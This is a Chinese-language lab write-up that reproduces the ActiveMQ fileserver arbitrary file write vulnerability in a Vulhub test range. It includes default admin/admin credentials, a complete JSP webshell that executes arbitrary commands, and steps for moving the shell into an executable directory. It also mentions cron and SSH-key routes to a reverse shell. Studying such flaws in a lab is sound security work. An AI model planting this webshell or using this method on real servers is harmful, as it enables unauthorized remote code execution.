1.背景介紹。
ActiveMQ的web控制檯分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是介面,fileserver是儲存檔案的介面;admin和api都需要登入後才能使用,fileserver無需登入。
fileserver是一個RESTful API介面,我們可以通過GET、PUT、DELETE等HTTP請求對其中儲存的檔案進行讀寫操作,其設計目的是為了彌補訊息佇列操作不能傳輸、儲存二進位制檔案的缺陷,但後來發現:
所以,ActiveMQ在5.12.x~5.13.x版本中,已經預設關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以後,徹底刪除了fileserver應用。
在測試過程中,可以關注ActiveMQ的版本,避免走彎路。
2.環境介紹。
採用kali搭建Vulhub靶場。
靶機:127.0.0.1
環境監聽61616埠和8161埠,其中8161為web控制檯埠,本漏洞就出現在web控制檯中。
存取http://172.18.0.1:8161/
看到web頁面,說明環境已成功執行。
3.漏洞復現。
本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支援寫入檔案(但不解析jsp),同時支援移動檔案(MOVE請求)。所以,我們只需要寫入一個檔案,然後使用MOVE請求將其移動到任意位置,造成任意檔案寫入漏洞。
檔案寫入有幾種利用方法:
寫入webshell的好處是,門檻低更方便,但前面也說了fileserver不解析jsp,admin和api兩個應用都需要登入才能存取,所以有點雞肋;寫入cron或ssh key,好處是直接反彈拿shell,也比較方便,缺點是需要root許可權;寫入jar,稍微麻煩點(需要jar的後門),寫入xml組態檔,這個方法比較靠譜,但有個雞肋點是:我們需要知道activemq的絕對路徑。
分別說一下上述幾種利用方法。
(1)寫入webshell
我們首先要通過賬號密碼登入
賬號:admin
密碼:admin
之後存取http://127.0.0.1:8161/admin/test/systemProperties.jsp來獲取真實路徑
進入/fileserver/目錄,抓包寫入webshell
<% // 如果請求引數pwd的值為"023" if("023".equals(request.getParameter("pwd"))){ // 獲取執行命令的引數i String cmd = request.getParameter("i"); // 執行命令並獲取子程序的輸入流 java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); int a = -1; byte[] b = new byte[2048]; // 輸出<pre>標籤 out.print("<pre>"); // 讀取子程序的輸出流並輸出 while((a=in.read(b))!=-1){ out.println(new String(b)); } // 輸出</pre>標籤 out.print("</pre>"); } %>
注意這時我們雖然寫入檔案,但我們去存取這個檔案時會發現.txt檔案並沒有被解析
所以我們還需要將這個檔案去移動到一個有執行jsp檔案許可權的目錄下,這時我們就用到了我們在之前查詢到的真實路徑,還是通過抓包來操作
我們將webshell寫入api目錄下,進入/api/檢視
寫入成功,進入後根據小馬引數構建命令即可
除此之外,還有其他兩種方法利用,但筆者在復現過程中遇到問題較多,沒有進行下去,哪位大佬有成功浮現的,踢我一下。